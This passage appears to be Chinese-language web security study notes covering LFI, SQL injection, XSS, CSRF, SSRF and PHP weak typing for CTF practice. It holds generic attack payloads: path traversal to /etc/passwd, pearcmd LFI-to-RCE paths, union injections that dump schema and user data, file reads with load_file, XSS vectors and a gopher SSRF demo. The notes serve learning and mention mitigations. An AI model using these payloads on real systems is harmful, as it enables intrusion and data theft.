LFI
本地文檔包含漏洞
工具
案例
- 有些案例,如果 php 找不到,會導向特殊的網址,但是一般情況導向 index ,可以透過這樣的回顯檢測是否存在檔案,確認 lfi 存在。
技巧1
從後面加入路徑。
http://localhost:8080/lfi.php?lfi=lfi-include.php../../../../../../../../../../../../../../../../../../etc/passwd
該方法可用於移除前綴,php可能會受到此危害
技巧2
- 觀察正常與異常狀態的回顯,現在 php 不見得會顯示錯誤訊息,讀取 index.php 炸了回傳 internal 500,可以藉由這點判斷漏洞存在
技巧3
- 有些網頁有後綴
.php
,可以找 php 內建的 php 檔案路徑使用
LFI to RCE
pear
需要開啟 register_argc_argv
/usr/share/pear/pearcmd.php
/usr/local/lib/php/pearcmd.php
- 利用pearcmd.php从LFI到getshell
- Balsn CTF 2021 WriteUps | 廢文集中區
- 習題
- balsn ctf 2linephp
失效原因
- 可能含有白名單對檔名過濾
路徑遍歷
SQL Injection
工具 sqlmap
常見注入點
大家認為容易被注入的地方
- 登入/註冊
相反應該逆向思考,以下為容易疏忽的地方,遇見幾個案例。
- 搜尋框
- 下載點編號輸入位置
多加思考是否其他地方,程式設計師會想要透過 SQL 實做查詢的地方。
類型
- Blind SQL Injection 盲注 (是否屬於一種 Side-channel attacks ?)
- Time-based blind
- Boolean-based blind
流程
找出注入點之後,如where
的注入點可以,透過order by
或 select 1,2...
的方式猜測被注入的 table 的 columns 數量,可以抓一個最大值之後二分搜, order by N
的 N
等於小於 column 數時,頁面就不會報錯。
' order by 10 # error
' order by 7 # error
' order by 5 # success
' order by 6 # success
如上面所示,我們找出此表格為 6。個 columns,構造 payload 取得版本,要注意的是前後 union 要相同 column 數,有的時候型別也會影響。
' union select '','','',version(),'',''; #
取得資料表名稱
' union select '','','',TABLE_NAME,'','' FROM INFORMATION_SCHEMA.tables; #
' union select '','','',group_concat(TABLE_NAME),'','' FROM INFORMATION_SCHEMA.tables; #
枚舉 table
中欄位名稱
SELECT group_concat(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'table' GROUP BY 1
取得使用者名稱
' union select '','','',CURRENT_USER(),'',''; #
而惡意攻擊者可以繼續將union
加工,若服務有列出表單的相關功能,
可以讓私人資料結合到原先的輸出使資料外洩。
實務方法
- 編寫 sqlmap 的 tamper,來輔助注入。
緩解方法
- Query Parameterization Cheat Sheet 透過參數化查詢方法來解決注入問題
作弊表
目標 Arbitrary Read / Write
-
SELECT DISTINCT
: 只返回不同的值。 參見SQL SELECT DISTINCT Statement -
FROM INFORMATION_SCHEMA.COLUMNS WHERE PRIVILEGES LIKE '%select%'#
-
合併多個欄位到一個欄位:
- MySQL
select CONCAT('a', 'b')
- postageSQL
select 'a' || 'b'
- MySQL
-
MySQL
-
SHOW DATABASES;
-
GROUP_CONCAT()
多個 row 合併到單個 row- 至於為什麽
select
在底下不能用,是因為select
是statement
而不是expr
- 或者
limit N,1
來輸出第 N 個
- 至於為什麽
-
union all select load_file('/etc/leakfile')
: 讀取檔案- 可以透過
@@secure_file_priv
確定load_file()
合法的位置
- 可以透過
-
into outfile
-
@@
類型的變數
-
MSSQL
@@version
ascii(substring(@@version,1,1)) < 70
-
SQLite
- [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite%20Injection.md#sqlite-injection)
其他參考資料
NoSQL Injection
工具 NoSQLMap
XSS
不建議使用黑名單等過濾器過濾,特別是允許html tags時更因該採用白名單。
工具
類型
-
Reflected XSS: 使用者輸入會顯示在頁面上,而反射式 XSS 則是輸入了 payload 並且頁面加載 payload
-
Stored XSS: 儲存payload在資料庫,之後使用者訪問頁面被提取出來。
-
DOM Based XSS: 發生在客戶端,可能屬於反射式或儲存式, 發生在 javascript 操控 DOM 產生的 XSS 漏洞,例如 Fragment identifier 顯示在頁面上, 而攻擊者將 payload 寫在後面
/xss.html#<script>alert(1)</script>
並且 DOM XSS 不離開 client side12
非 Script Tag 的 XSS
svg
,img
,input
tags中的 on系列參數javascript:alert(1)
過濾器漏洞
Meta可能可以引導受害者轉跳到釣魚網頁或者執行惡意腳本。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
過濾器漏洞如果遺漏了'
,只過濾"
依然會有問題
<img src=x onerror="alert(1)">
改成下列語法,依然沒有被過濾
<img src=x onerror='alert(1)'>
練習資源
參見
CSRF
預防 CSRF 可以透過 CSRF token,可能在 cookie 或 input
- 產生 Token 保存在伺服器端
- 傳送 Token 給使用者
- 使用者發出請求附上此 Token
工具
- Bolt csrf 掃描器
場景
- 任何含有動作執行的地方
- API
誤區
- 僅僅檢查 session 卻沒有補上 token
SSRF
工具 SSRFmap
常見場景
- 能發起請求的服務
gopher
透過 gopher 構造 TCP 請求,必須使用 url encoding
terminal A
nc -l -p 1337
terminal B
curl gopher://localhost:1337/_hello%20world
緩解
參見
- SSRF 学习记录 該篇筆記建議詳細閱讀各個段落
- 利用 Gopher 协议拓展攻击面
- 对万金油gopher协议的理解与应用
弱型別
php
0e01213
: 前面為0e
後面為數字,採用==
辨識產生問題,經典案例常出現在md5()
'1e0' == 1
'1' == 1
''
,0
,false
,NULL
陣列
- hash相關指令與
strcmp
傳入陣列回傳NULL
file_put_contents("file", $array)
,會將$array
變成單一字串寫入file, 繞過濾器$array{i}
=$array[i]
: 可能用來繞過濾器?
雜項
- 大小寫不敏感: 繞過濾器
'system'('echo hi');
echo (aaa);
: 自動轉成字串(7.3.5 working),但可能限於舊版。
Javascript
- wtfjs
- 弱型別編碼器:
JSFuck
,jjencode
,aaencode
Deserialization 反序列化
- python 的
pickle
參見
PHP Web Web安全 Vulnerability SQL Javascript XSS LFI CSRF Exploit Exploiting